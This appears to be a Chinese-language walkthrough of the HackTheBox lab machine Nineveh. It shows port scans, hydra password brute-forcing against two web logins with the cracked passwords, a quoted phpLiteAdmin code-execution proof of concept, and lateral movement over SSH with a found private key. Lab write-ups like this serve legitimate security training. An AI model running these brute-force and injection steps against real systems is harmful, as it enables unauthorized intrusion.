┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=500010.10.10.43 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 22:22 CST Nmap scan report for nineveh.htb (10.10.10.43) Host is up (1.1s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p80,443 -sC -sV --min-rate=500010.10.10.43 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 22:28 CST Nmap scan report for nineveh.htb (10.10.10.43) Host is up (1.1s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 443/tcp open ssl/https Apache/2.4.18 (Ubuntu) | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.18 (Ubuntu) | ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR | Not valid before: 2017-07-01T15:03:30 |_Not valid after: 2018-07-01T15:03:30 |_http-title: Site doesn't have a title (text/html).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 76.73 seconds
3、本地绑定与发现的域名地址
1 2 3 4
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.10.43 nineveh.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码: 10.10.10.43 nineveh.htb
4、简单看一下开放的WEB网站信息
http://10.10.10.43/
https://nineveh.htb/
https://nineveh.htb/db/
1
Warning: rand() expects parameter 2 to be integer, float given in /var/www/ssl/db/index.php on line 114
┌──(kali㉿offsec)-[~/Desktop] └─$ hydra 10.10.10.43 -l admin -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes(this is non-binding, these *** ignore laws and ethics anyway).
Hydra(https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-27 22:27:31 [DATA] max 16 tasks per 1 server, overall 16 tasks, 399 login tries (l:1/p:399), ~25 tries per task [DATA] attacking http-post-forms://10.10.10.43:443/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password [STATUS] 40.00 tries/min, 40 tries in 00:01h, 359 to do in 00:09h, 16 active [STATUS] 41.67 tries/min, 125 tries in 00:03h, 274 to do in 00:07h, 16 active [443][http-post-form] host: 10.10.10.43 login: admin password: password123 [STATUS] 57.00 tries/min, 399 tries in 00:07h, 1 to do in 00:01h, 5 active
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo hydra nineveh.htb -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password" [sudo] kali 的密码: Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-27 22:32:25 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://nineveh.htb:80/department/login.php:username=^USER^&password=^PASS^:Invalid Password [STATUS] 197.00 tries/min, 197 tries in 00:01h, 14344202 to do in 1213:34h, 16 active [STATUS] 213.67 tries/min, 641 tries in 00:03h, 14343758 to do in 1118:52h, 16 active [STATUS] 186.14 tries/min, 1303 tries in 00:07h, 14343096 to do in 1284:15h, 16 active [STATUS] 161.47 tries/min, 2422 tries in 00:15h, 14341977 to do in 1480:24h, 16 active [80][http-post-form] host: nineveh.htb login: admin password: 1q2w3e4r5t
phpliteadmin.php#1784: 'Creating a New Database' => phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
Proof of Concept:
1. We create a db named "hack.php". (Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".) The script will store the sqlite database in the same directory as phpliteadmin.php. Preview: http://goo.gl/B5n9O Hex preview: http://goo.gl/lJ5iQ
2. Now create a new table in this database and insert a text field with the default value: <?php phpinfo()?> Hex preview: http://goo.gl/v7USQ
www-data@nineveh:/tmp$ ls -la total 40 drwxrwxrwt 9 root root 4096 May 2702:43 . drwxr-xr-x 24 root root 4096 Jan 292021 .. drwxrwxrwt 2 root root 4096 May 2610:48 .ICE-unix drwxrwxrwt 2 root root 4096 May 2610:48 .Test-unix drwxrwxrwt 2 root root 4096 May 2610:48 .X11-unix drwxrwxrwt 2 root root 4096 May 2610:48 .XIM-unix drwxrwxrwt 2 root root 4096 May 2610:48 .font-unix prw-r--r-- 1 www-data www-data 0 May 2702:43 f -rw-r--r-- 1 www-data www-data 1675 May 272024 nineveh.priv drwx------ 3 root root 4096 May 2610:48 systemd-private-ad3cdfb60db0415996f4eb34b1ec1207-systemd-timesyncd.service-RpSvjR drwx------ 2 root root 4096 May 2610:48 vmware-root www-data@nineveh:/tmp$ chmod 600 ./nineveh.priv www-data@nineveh:/tmp$ ssh amrois@localhost -i nineveh.priv Could not create directory '/var/www/.ssh'. The authenticity of host 'localhost (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk. Are you sure you want to continue connecting (yes/no)? yes Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). Ubuntu 16.04.2 LTS Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
288 packages can be updated. 207 updates are security updates.
You have mail. Last login: Mon Jul 300:19:592017 from 192.168.0.14 amrois@nineveh:~$ id uid=1000(amrois) gid=1000(amrois) groups=1000(amrois) amrois@nineveh:~$ pwd /home/amrois amrois@nineveh:~$